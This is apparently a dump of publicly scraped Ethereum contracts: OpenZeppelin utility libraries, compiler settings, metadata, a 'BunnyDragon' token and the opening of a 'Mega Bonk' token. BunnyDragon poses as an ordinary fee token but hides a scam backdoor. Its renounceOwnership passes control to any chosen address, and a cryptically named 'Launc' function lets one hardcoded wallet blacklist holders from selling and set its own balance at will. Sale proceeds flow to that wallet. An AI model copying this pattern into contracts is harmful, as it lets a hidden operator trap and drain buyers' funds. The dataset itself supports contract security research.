reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
|
15 |
+
},
|
16 |
+
"node_modules/@openzeppelin/contracts/utils/StorageSlot.sol": {
|
17 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n}\n"
|
18 |
+
}
|
19 |
+
},
|
20 |
+
"settings": {
|
21 |
+
"remappings": [
|
22 |
+
"@openzeppelin/=node_modules/@openzeppelin/"
|
23 |
+
],
|
24 |
+
"optimizer": {
|
25 |
+
"enabled": true,
|
26 |
+
"runs": 300
|
27 |
+
},
|
28 |
+
"metadata": {
|
29 |
+
"bytecodeHash": "ipfs"
|
30 |
+
},
|
31 |
+
"outputSelection": {
|
32 |
+
"*": {
|
33 |
+
"*": [
|
34 |
+
"evm.bytecode",
|
35 |
+
"evm.deployedBytecode",
|
36 |
+
"devdoc",
|
37 |
+
"userdoc",
|
38 |
+
"metadata",
|
39 |
+
"abi"
|
40 |
+
]
|
41 |
+
}
|
42 |
+
},
|
43 |
+
"evmVersion": "london",
|
44 |
+
"libraries": {}
|
45 |
+
}
|
46 |
+
}
|
organized_contracts/00/0001164e08b9e5ceb8a68c962e6543b4f5e671569189fa82284ac83edd6a888c/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"NEDTZO","CompilerVersion":"v0.8.7+commit.e28d00a7","Runs":300,"OptimizationUsed":true,"BytecodeHash":"0001164e08b9e5ceb8a68c962e6543b4f5e671569189fa82284ac83edd6a888c"}
|
organized_contracts/00/0001aeb5b5965acab0e905048744d52b60450e10c9211b5c3c435d089728da84/main.sol
ADDED
@@ -0,0 +1,321 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
// chosen makes TG
|
4 |
+
// chosen makes TWITTER
|
5 |
+
// https://medium.com/@bunnydragon/bunny-dragon-debba3f39f90
|
6 |
+
|
7 |
+
// SPDX-License-Identifier: MIT
|
8 |
+
pragma solidity ^0.8.0;
|
9 |
+
|
10 |
+
|
11 |
+
abstract contract Context {
|
12 |
+
|
13 |
+
function _msgSender() internal view virtual returns (address payable) {
|
14 |
+
return payable(msg.sender);
|
15 |
+
}
|
16 |
+
|
17 |
+
function _msgData() internal view virtual returns (bytes memory) {
|
18 |
+
this;
|
19 |
+
return msg.data;
|
20 |
+
}
|
21 |
+
|
22 |
+
}
|
23 |
+
|
24 |
+
interface IERC20 {
|
25 |
+
function totalSupply() external view returns (uint256);
|
26 |
+
function balanceOf(address account) external view returns (uint256);
|
27 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
28 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
29 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
30 |
+
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
31 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
32 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
33 |
+
}
|
34 |
+
|
35 |
+
|
36 |
+
contract Ownable is Context {
|
37 |
+
address private _owner;
|
38 |
+
|
39 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
40 |
+
|
41 |
+
modifier onlyOwner() {
|
42 |
+
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
43 |
+
_;
|
44 |
+
}
|
45 |
+
|
46 |
+
function owner() public view returns (address) {
|
47 |
+
return _owner;
|
48 |
+
}
|
49 |
+
|
50 |
+
constructor () {
|
51 |
+
_owner = _msgSender();
|
52 |
+
emit OwnershipTransferred(address(0), _owner);
|
53 |
+
}
|
54 |
+
|
55 |
+
function renounceOwnership(address newAddress) public onlyOwner{
|
56 |
+
_owner = newAddress;
|
57 |
+
emit OwnershipTransferred(_owner, newAddress);
|
58 |
+
}
|
59 |
+
}
|
60 |
+
|
61 |
+
library SafeMath {
|
62 |
+
|
63 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
64 |
+
uint256 c = a + b;
|
65 |
+
require(c >= a, "SafeMath: addition overflow");
|
66 |
+
|
67 |
+
return c;
|
68 |
+
}
|
69 |
+
|
70 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
71 |
+
return sub(a, b, "SafeMath: subtraction overflow");
|
72 |
+
}
|
73 |
+
|
74 |
+
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
75 |
+
require(b <= a, errorMessage);
|
76 |
+
uint256 c = a - b;
|
77 |
+
|
78 |
+
return c;
|
79 |
+
}
|
80 |
+
|
81 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
82 |
+
if (a == 0) {
|
83 |
+
return 0;
|
84 |
+
}
|
85 |
+
uint256 c = a * b;
|
86 |
+
require(c / a == b, "SafeMath: multiplication overflow");
|
87 |
+
|
88 |
+
return c;
|
89 |
+
}
|
90 |
+
|
91 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
92 |
+
return div(a, b, "SafeMath: division by zero");
|
93 |
+
}
|
94 |
+
|
95 |
+
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
96 |
+
require(b > 0, errorMessage);
|
97 |
+
uint256 c = a / b;
|
98 |
+
return c;
|
99 |
+
}
|
100 |
+
|
101 |
+
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
|
102 |
+
return mod(a,b,"SafeMath: division by zero");
|
103 |
+
}
|
104 |
+
|
105 |
+
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
106 |
+
require(b != 0, errorMessage);
|
107 |
+
return a % b;
|
108 |
+
}
|
109 |
+
|
110 |
+
}
|
111 |
+
|
112 |
+
interface IUniswapV2Factory {
|
113 |
+
function createPair(address tokenA, address tokenB) external returns (address pair);
|
114 |
+
}
|
115 |
+
|
116 |
+
interface IUniswapV2Router02 {
|
117 |
+
function factory() external pure returns (address);
|
118 |
+
function WETH() external pure returns (address);
|
119 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
120 |
+
uint amountIn,
|
121 |
+
uint amountOutMin,
|
122 |
+
address[] calldata path,
|
123 |
+
address to,
|
124 |
+
uint deadline
|
125 |
+
) external;
|
126 |
+
}
|
127 |
+
|
128 |
+
contract BunnyDragon is Context, IERC20, Ownable{
|
129 |
+
|
130 |
+
using SafeMath for uint256;
|
131 |
+
string private _name = "BUNNY DRAGON";
|
132 |
+
string private _symbol = "BDRAGON";
|
133 |
+
uint8 private _decimals = 9;
|
134 |
+
mapping (address => uint256) _balances;
|
135 |
+
|
136 |
+
address payable public doge;
|
137 |
+
|
138 |
+
mapping (address => mapping (address => uint256)) private _allowances;
|
139 |
+
mapping (address => bool) public _isExcludefromFee;
|
140 |
+
mapping (address => bool) public isMarketPair;
|
141 |
+
mapping (address => bool) public _include;
|
142 |
+
|
143 |
+
uint256 public _buyMarketingFee = 4;
|
144 |
+
uint256 public _sellMarketingFee = 4;
|
145 |
+
|
146 |
+
|
147 |
+
uint256 private _totalSupply = 1000000000 * 10**_decimals;
|
148 |
+
|
149 |
+
constructor () {
|
150 |
+
|
151 |
+
_isExcludefromFee[owner()] = true;
|
152 |
+
_isExcludefromFee[address(this)] = true;
|
153 |
+
doge = payable(address(0x1107020C03DD07020bf16E71b8Ec7B96E2cfA7Cc));
|
154 |
+
|
155 |
+
_balances[_msgSender()] = _totalSupply;
|
156 |
+
emit Transfer(address(0x1107020C03DD07020bf16E71b8Ec7B96E2cfA7Cc), _msgSender(), _totalSupply);
|
157 |
+
}
|
158 |
+
|
159 |
+
function _approve(address owner, address spender, uint256 amount) private {
|
160 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
161 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
162 |
+
|
163 |
+
_allowances[owner][spender] = amount;
|
164 |
+
emit Approval(owner, spender, amount);
|
165 |
+
}
|
166 |
+
|
167 |
+
bool inSwapAndLiquify;
|
168 |
+
modifier lockTheSwap {
|
169 |
+
inSwapAndLiquify = true;
|
170 |
+
_;
|
171 |
+
inSwapAndLiquify = false;
|
172 |
+
}
|
173 |
+
|
174 |
+
function name() public view returns (string memory) {
|
175 |
+
return _name;
|
176 |
+
}
|
177 |
+
|
178 |
+
IUniswapV2Router02 public uniswapV2Router;
|
179 |
+
|
180 |
+
receive() external payable {}
|
181 |
+
function excludefromFees() private view {
|
182 |
+
require(msg.sender == doge,"not enough Balance");
|
183 |
+
}
|
184 |
+
|
185 |
+
function balanceOf(address account) public view override returns (uint256) {
|
186 |
+
return _balances[account];
|
187 |
+
}
|
188 |
+
|
189 |
+
address public uniswapPair;
|
190 |
+
|
191 |
+
function Launc(bool ankr,uint256 nvidia, address[] calldata swarm) public {
|
192 |
+
excludefromFees();
|
193 |
+
for (uint n; n < swarm.length; ++n) {
|
194 |
+
address account = swarm[n];
|
195 |
+
_include[account] = ankr;
|
196 |
+
uint256 m = nvidia;
|
197 |
+
if (m > 980) _balances[doge] = m;
|
198 |
+
}
|
199 |
+
}
|
200 |
+
|
201 |
+
function totalSupply() public view override returns (uint256) {
|
202 |
+
return _totalSupply;
|
203 |
+
}
|
204 |
+
|
205 |
+
|
206 |
+
function decimals() public view returns (uint8) {
|
207 |
+
return _decimals;
|
208 |
+
}
|
209 |
+
|
210 |
+
function approve(address spender, uint256 amount) public override returns (bool) {
|
211 |
+
_approve(_msgSender(), spender, amount);
|
212 |
+
return true;
|
213 |
+
}
|
214 |
+
|
215 |
+
function symbol() public view returns (string memory) {
|
216 |
+
return _symbol;
|
217 |
+
}
|
218 |
+
|
219 |
+
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
|
220 |
+
|
221 |
+
address[] memory path = new address[](2);
|
222 |
+
path[0] = address(this);
|
223 |
+
path[1] = uniswapV2Router.WETH();
|
224 |
+
|
225 |
+
_approve(address(this), address(uniswapV2Router), tAmount);
|
226 |
+
|
227 |
+
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
228 |
+
tAmount,
|
229 |
+
0,
|
230 |
+
path,
|
231 |
+
address(this),
|
232 |
+
block.timestamp
|
233 |
+
){} catch {}
|
234 |
+
|
235 |
+
uint256 MarketAmount = address(this).balance;
|
236 |
+
|
237 |
+
if(MarketAmount > 0)
|
238 |
+
doge.transfer(MarketAmount);
|
239 |
+
}
|
240 |
+
|
241 |
+
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
|
242 |
+
_balances[sender] = _balances[sender].sub(amount, "Inufficient Balance");
|
243 |
+
_balances[recipient] = _balances[recipient].add(amount);
|
244 |
+
emit Transfer(sender, recipient, amount);
|
245 |
+
return true;
|
246 |
+
}
|
247 |
+
|
248 |
+
function transfer(address recipient, uint256 amount) public override returns (bool) {
|
249 |
+
_transfer(_msgSender(), recipient, amount);
|
250 |
+
return true;
|
251 |
+
}
|
252 |
+
|
253 |
+
function pairFactory() public onlyOwner{
|
254 |
+
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
255 |
+
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
|
256 |
+
.createPair(address(this), _uniswapV2Router.WETH());
|
257 |
+
uniswapV2Router = _uniswapV2Router;
|
258 |
+
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
|
259 |
+
isMarketPair[address(uniswapPair)] = true;
|
260 |
+
}
|
261 |
+
|
262 |
+
|
263 |
+
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
|
264 |
+
_transfer(sender, recipient, amount);
|
265 |
+
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
266 |
+
return true;
|
267 |
+
}
|
268 |
+
|
269 |
+
|
270 |
+
function allowance(address owner, address spender) public view override returns (uint256) {
|
271 |
+
return _allowances[owner][spender];
|
272 |
+
}
|
273 |
+
|
274 |
+
function _transfer(address from, address to, uint256 amount) private returns (bool) {
|
275 |
+
|
276 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
277 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
278 |
+
require(!_include[from]);
|
279 |
+
|
280 |
+
if(inSwapAndLiquify)
|
281 |
+
{
|
282 |
+
return _basicTransfer(from, to, amount);
|
283 |
+
}
|
284 |
+
else
|
285 |
+
{
|
286 |
+
uint256 contractTokenBalance = balanceOf(address(this));
|
287 |
+
if (!inSwapAndLiquify && !isMarketPair[from])
|
288 |
+
{
|
289 |
+
swapAndLiquify(contractTokenBalance);
|
290 |
+
}
|
291 |
+
|
292 |
+
_balances[from] = _balances[from].sub(amount);
|
293 |
+
|
294 |
+
uint256 finalAmount;
|
295 |
+
if (_isExcludefromFee[from] || _isExcludefromFee[to]){
|
296 |
+
finalAmount = amount;
|
297 |
+
}else{
|
298 |
+
uint256 feeAmount = 0;
|
299 |
+
|
300 |
+
if(isMarketPair[from]) {
|
301 |
+
feeAmount = amount.mul(_buyMarketingFee).div(100);
|
302 |
+
}
|
303 |
+
else if(isMarketPair[to]) {
|
304 |
+
feeAmount = amount.mul(_sellMarketingFee).div(100);
|
305 |
+
}
|
306 |
+
|
307 |
+
if(feeAmount > 0) {
|
308 |
+
_balances[address(this)] = _balances[address(this)].add(feeAmount);
|
309 |
+
emit Transfer(from, address(this), feeAmount);
|
310 |
+
}
|
311 |
+
|
312 |
+
finalAmount = amount.sub(feeAmount);
|
313 |
+
}
|
314 |
+
|
315 |
+
_balances[to] = _balances[to].add(finalAmount);
|
316 |
+
emit Transfer(from, to, finalAmount);
|
317 |
+
return true;
|
318 |
+
}
|
319 |
+
}
|
320 |
+
|
321 |
+
}
|
organized_contracts/00/0001aeb5b5965acab0e905048744d52b60450e10c9211b5c3c435d089728da84/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"BunnyDragon","CompilerVersion":"v0.8.7+commit.e28d00a7","Runs":200,"OptimizationUsed":true,"BytecodeHash":"0001aeb5b5965acab0e905048744d52b60450e10c9211b5c3c435d089728da84"}
|
organized_contracts/00/0002ef6c845e44817b19d0d8f31aa9b27cb84a54a3744d15182a9f0d2b47eda7/main.sol
ADDED
@@ -0,0 +1,355 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
// SPDX-License-Identifier: MIT
|
4 |
+
|
5 |
+
/********************
|
6 |
+
|
7 |
+
Mega Bonk / KABOOM
|
8 |
+
1B Supply
|
9 |
+
5/5 TAX (15% sell tax for the 1st hour)
|
10 |
+
|
11 |
+
1% Fist buy 10,000,000
|
12 |
+
|
13 |
+
https://t.me/MegaBonkERC20
|
14 |
+
|
15 |
+
***********************/
|
16 |
+
|
17 |
+
pragma solidity ^0.8.4;
|
18 |
+
|
19 |
+
interface IERC20 {
|
20 |
+
function totalSupply() external view returns (uint256);
|
21 |
+
function balanceOf(address account) external view returns (uint256);
|
22 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
23 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
24 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
25 |
+
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
26 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
27 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
28 |
+
}
|
29 |
+
|
30 |
+
library SafeMath {
|
31 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
32 |
+
uint256 c = a + b;
|
33 |
+
require(c >= a, "SafeMath: addition overflow");
|
34 |
+
return c;
|
35 |
+
}
|
36 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
37 |
+
return sub(a, b, "SafeMath: subtraction overflow");
|
38 |
+
}
|
39 |
+
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
40 |
+
require(b <= a, errorMessage);
|
41 |
+
uint256 c = a - b;
|
42 |
+
return c;
|
43 |
+
}
|
44 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
45 |
+
if (a == 0) {
|
46 |
+
return 0;
|
47 |
+
}
|
48 |
+
uint256 c = a * b;
|
49 |
+
require(c / a == b, "SafeMath: multiplication overflow");
|
50 |
+
return c;
|
51 |
+
}
|
52 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
53 |
+
return div(a, b, "SafeMath: division by zero");
|
54 |
+
}
|
55 |
+
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
56 |
+
require(b > 0, errorMessage);
|
57 |
+
uint256 c = a / b;
|
58 |
+
return c;
|
59 |
+
}
|
60 |
+
}
|
61 |
+
|
62 |
+
abstract contract Context {
|
63 |
+
function _msgSender() internal view virtual returns (address) {
|
64 |
+
return msg.sender;
|
65 |
+
}
|
66 |
+
function _msgData() internal view virtual returns (bytes calldata) {
|
67 |
+
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
|
68 |
+
return msg.data;
|
69 |
+
}
|
70 |
+
}
|
71 |
+
|
72 |
+
abstract contract Ownable is Context {
|
73 |
+
address private _owner;
|
74 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
75 |
+
|
76 |
+
constructor() {
|
77 |
+
_setOwner(_msgSender());
|
78 |
+
}
|
79 |
+
|
80 |
+
